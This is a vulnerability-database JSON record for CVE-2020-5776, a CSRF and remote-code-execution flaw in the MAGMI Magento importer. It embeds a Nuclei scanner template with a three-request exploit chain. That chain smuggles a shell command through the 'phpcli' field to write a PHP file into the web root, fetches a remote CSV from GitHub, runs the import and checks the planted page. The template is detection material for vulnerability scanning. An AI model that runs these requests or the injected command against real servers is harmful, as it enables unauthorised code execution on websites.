{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-5776/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-5776/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-5776/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-5776/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-5776/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-5776"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-5776"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.14725,
      "kev": false,
      "percentile": 0.96522
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2020/CVE-2020-5776.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2020-5776\n\ninfo:\n  name: MAGMI - Cross-Site Request Forgery\n  author: dwisiswant0\n  severity: high\n  description: MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to perform unauthorized actions on behalf of the victim user.\n  remediation: |\n    Implement CSRF protection mechanisms such as anti-CSRF tokens and referer validation.\n  reference:\n    - https://www.tenable.com/security/research/tra-2020-51\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-5776\n    - https://github.com/sobinge/nuclei-templates\n    - https://github.com/404notf0und/CVE-Flow\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2020-5776\n    cwe-id: CWE-352\n    epss-score: 0.14725\n    epss-percentile: 0.96522\n    cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 3\n    vendor: magmi_project\n    product: magmi\n    shodan-query:\n      - http.component:\"Magento\"\n      - http.component:\"magento\"\n  tags: cve,cve2020,magmi,magento,tenable,magmi_project,vkev,vuln\n\nvariables:\n  auth: '{{base64(username + \":\" + password)}}'\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /magmi/web/magmi_saveprofile.php HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{auth}}\n        Content-Type: application/x-www-form-urlencoded\n\n        profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"Profile\", \"saved\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /magmi/web/magmi_run.php HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{auth}}\n        Content-Type: application/x-www-form-urlencoded\n\n        engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        GET /magmi/web/info.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"PHP Extension\", \"PHP Version\")'\n        condition: and\n# digest: 490a0046304402205af2c1873edb925f6e9af90f7aea8ee2e823e281a9672c04bfa75561e927a36802204e410d5298f16b3875ca2e511a36ca4b815f17f139ca29af21330facdb7d70f9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2020-5776"
}